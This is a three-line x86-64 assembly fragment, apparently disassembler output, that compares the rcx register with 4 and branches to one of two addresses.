cmp rcx, 4
je 0x5585e2
jmp 0x558604